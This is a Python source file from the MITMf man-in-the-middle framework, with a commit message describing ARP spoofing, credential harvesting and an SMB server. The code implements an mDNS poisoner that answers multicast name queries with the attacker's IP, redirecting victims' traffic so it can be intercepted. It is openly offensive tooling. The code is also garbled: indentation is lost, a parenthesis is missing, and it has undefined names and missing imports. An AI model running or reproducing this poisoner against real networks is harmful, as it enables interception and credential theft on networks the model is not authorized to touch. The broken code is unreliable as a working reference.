MITMf/core/responder/mdns/MDNSPoisoner.py
byt3bl33d3r 9712eed4a3 This is 1/2 of the work done... lot's of cool stuff!
I've re-written a decent amount of the framework to support dynamic config file updates, revamped the ARP Spoofing 'engine' and changed the way MITMf integrates Responder and Netcreds.

- Net-creds is now started by default and no longer a plugin.. It's all about getting those creds after all.
- Integrated the Subterfuge Framework's ARPWatch script, it will enable itself when spoofing the whole subnet (also squashed bugs in the original ARP spoofing code)
- The spoof plugin now supports specifying a range of targets (e.g. --target 10.10.10.1-15) and multiple targets (e.g. --target 10.10.10.1,10.10.10.2)
- An SMB Server is now started by default, MITMf now uses Impacket's SMBserver as supposed to the one built into Responder, mainly for 2 reasons:
  1) Impacket is moving towards SMB2 support and is actively developed
  2) Impacket's SMB server is fully functional as supposed to Responder's (will be adding a section for it in the config file)
  3) Responder's SMB server was unrealiable when used through MITMf (After spending a day trying to figure out why, I just gave up and yanked it out)

- Responder's code has been broken down into single importable classes (way easier to manage and read, ugh!)
- Started adding dynamic config support to Responder's code and changed the logging messages to be a bit more readable.
- POST data captured through the proxy will now only be logged and printed to STDOUT when it's decodable to UTF-8 (this prevents logging encrypted data which is no use)
- Responder and the Beefapi script are no longer submodules (they seem to be a pain to package, so i removed them to help a brother out)
- Some plugins are missing because I'm currently re-writing them, will be added later
- Main plugin class now inharates from the ConfigWatcher class, this way plugins will support dynamic configs natively! \o/
2015-04-27 18:33:55 +02:00

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Python

#! /usr/bin/env python2.7
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
import threading
import struct
from core.protocols.odict import OrderedDict
from core.protocols.packet import Packet
class MDNSPoisoner():
def start():
try:
server = ThreadingUDPMDNSServer(("0.0.0.0", 5353), MDNS)
t = threading.Thread(name="MDNS", target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception, e:
print "Error starting MDNSPoisoner on port %s: %s:" % (str(port),str(e))
class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
allow_reuse_address = 1
def server_bind(self):
MADDR = "224.0.0.251"
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,inet_aton(MADDR)+inet_aton(OURIP))
UDPServer.server_bind(self
class MDNSAns(Packet):
fields = OrderedDict([
("Tid", "\x00\x00"),
("Flags", "\x84\x00"),
("Question", "\x00\x00"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("AnswerName", ""),
("AnswerNameNull", "\x00"),
("Type", "\x00\x01"),
("Class", "\x00\x01"),
("TTL", "\x00\x00\x00\x78"),##Poison for 2mn.
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["IP"] = inet_aton(OURIP)
self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
def Parse_MDNS_Name(data):
data = data[12:]
NameLen = struct.unpack('>B',data[0])[0]
Name = data[1:1+NameLen]
NameLen_ = struct.unpack('>B',data[1+NameLen])[0]
Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
return Name+'.'+Name_
def Poisoned_MDNS_Name(data):
data = data[12:]
Name = data[:len(data)-5]
return Name
class MDNS(BaseRequestHandler):
def handle(self):
MADDR = "224.0.0.251"
MPORT = 5353
data, soc = self.request
if self.client_address[0] == "127.0.0.1":
pass
try:
if AnalyzeMode:
if Parse_IPV6_Addr(data):
#print '[Analyze mode: MDNS] Host: %s is looking for : %s'%(self.client_address[0],Parse_MDNS_Name(data))
responder_logger.info('[Analyze mode: MDNS] Host: %s is looking for : %s'%(self.client_address[0],Parse_MDNS_Name(data)))
if RespondToSpecificHost(RespondTo):
if AnalyzeMode == False:
if RespondToIPScope(RespondTo, self.client_address[0]):
if Parse_IPV6_Addr(data):
#print 'MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data))
responder_logger.info('MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data)))
Name = Poisoned_MDNS_Name(data)
MDns = MDNSAns(AnswerName = Name)
MDns.calculate()
soc.sendto(str(MDns),(MADDR,MPORT))
if AnalyzeMode == False and RespondToSpecificHost(RespondTo) == False:
if Parse_IPV6_Addr(data):
#print 'MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data))
responder_logger.info('MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data)))
Name = Poisoned_MDNS_Name(data)
MDns = MDNSAns(AnswerName = Name)
MDns.calculate()
soc.sendto(str(MDns),(MADDR,MPORT))
else:
pass
except Exception:
raise